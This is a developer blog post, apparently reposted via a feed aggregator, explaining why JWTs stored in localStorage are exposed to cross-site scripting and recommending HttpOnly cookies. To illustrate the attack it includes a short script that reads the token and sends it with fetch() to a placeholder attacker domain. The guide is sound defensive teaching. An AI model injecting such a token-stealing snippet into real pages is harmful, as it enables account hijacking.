惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Google DeepMind News
Google DeepMind News
C
Check Point Blog
J
Java Code Geeks
腾讯CDC
Martin Fowler
Martin Fowler
MongoDB | Blog
MongoDB | Blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
博客园 - 三生石上(FineUI控件)
Apple Machine Learning Research
Apple Machine Learning Research
大猫的无限游戏
大猫的无限游戏
Engineering at Meta
Engineering at Meta
罗磊的独立博客
Last Week in AI
Last Week in AI
B
Blog
IT之家
IT之家
S
SegmentFault 最新的问题
D
DataBreaches.Net
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
GbyAI
GbyAI
博客园 - 聂微东
U
Unit 42
有赞技术团队
有赞技术团队
Y
Y Combinator Blog
MyScale Blog
MyScale Blog

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant
Stop Storing JWTs in localStorage: A Security Guide for W...
Damilola Owo · 2026-05-15 · via DEV Community

When I first learned about JSON Web Tokens (JWTs), I thought I had authentication figured out. The tutorial showed me this simple line:

localStorage.setItem('token', jwt);

Enter fullscreen mode Exit fullscreen mode

If you're currently storing tokens this way, don't worry, most tutorials teach this approach. But once you understand the risk, there's a much safer way to handle it. Let's break it down together.

What Is a JWT, Really?

Think of a JWT as a temporary ID badge. When you log in, the server gives you this badge. You show it on every request to prove who you are.

The badge contains three parts:

  • Header: What type of badge it is
  • Payload: Your user ID, permissions, expiration time
  • Signature: Proof the badge is genuine (created by the server)

Here's what a JWT looks like:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjM0NSIsImlhdCI6MTUxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMe...

Enter fullscreen mode Exit fullscreen mode

That long string is your key to the application. If someone steals it, they can pretend to be you. That's why where you store it matters so much.

The Hidden Danger: XSS Attacks

Imagine someone leaves a malicious comment on your favorite blog. The comment looks normal, but hidden inside is JavaScript code. When your browser loads the page, that code runs, and because it's on the same website, it has full access to everything.

This is called Cross-Site Scripting (XSS), and it's one of the most common web vulnerabilities.

Here's what that malicious code might look like:

// Attacker's script running on your page
const stolenToken = localStorage.getItem('token');

// Send it to the attacker's server
fetch('https://evil-hacker.com/collect?token=' + stolenToken);

Enter fullscreen mode Exit fullscreen mode

In one line, your authentication token is gone. The attacker now has full access to your account until the token expires or you change your password.

The scary part? You might never know it happened. There's no visible sign. No error message. Just a silent theft of your identity.

localStorage has no built-in security features: It's like keeping your house key under a doormat that says "key here." Convenient for you, but just as convenient for anyone else looking.

The Safer Alternative: HttpOnly Cookies
Instead of storing the token where JavaScript can reach it, let's store it where the browser protects it automatically.

When your server sends the JWT, it sets a cookie with special flags:

// This happens on your server (Node.js/Express example)
res.cookie('token', jwt, {
  httpOnly: true,     // JavaScript cannot read this
  secure: true,       // Only sent over HTTPS connections
  sameSite: 'strict', // Only sent to your website
  maxAge: 3600000     // Expires in 1 hour
});

Enter fullscreen mode Exit fullscreen mode

What changes for you as a developer?

Actually, things get simpler. The browser handles everything:

// Before: manually attaching tokens
const token = localStorage.getItem('token');
fetch('/api/profile', {
  headers: { 'Authorization': `Bearer ${token}` }
});

// After: browser sends the cookie automatically
fetch('/api/profile'); // That's it!

Enter fullscreen mode Exit fullscreen mode

No manual retrieval. No header management. Just secure, automatic authentication.

So When Can I Use localStorage?

localStorage isn't evil, it's just the wrong tool for authentication. Use it for things that don't need protection, e.g., theme preference (dark/light mode), UI state (sidebar open/closed), etc

Rule of thumb: If losing the data would compromise someone's account, don't put it in localStorage.

The Bottom Line

// What tutorials taught you
localStorage.setItem('token', jwt);

// What keeps your users safe
res.cookie('token', jwt, { 
  httpOnly: true, 
  secure: true, 
  sameSite: 'strict' 
});

Enter fullscreen mode Exit fullscreen mode

Authentication is about trust. Your users trust you with their data. Storing tokens securely is one of the simplest ways to honor that trust.

You don't need to be a security expert to make this change. You just need to know the difference, and now you do.

What's your current authentication setup? Have you run into issues migrating from localStorage to cookies? Share your experience in the comments.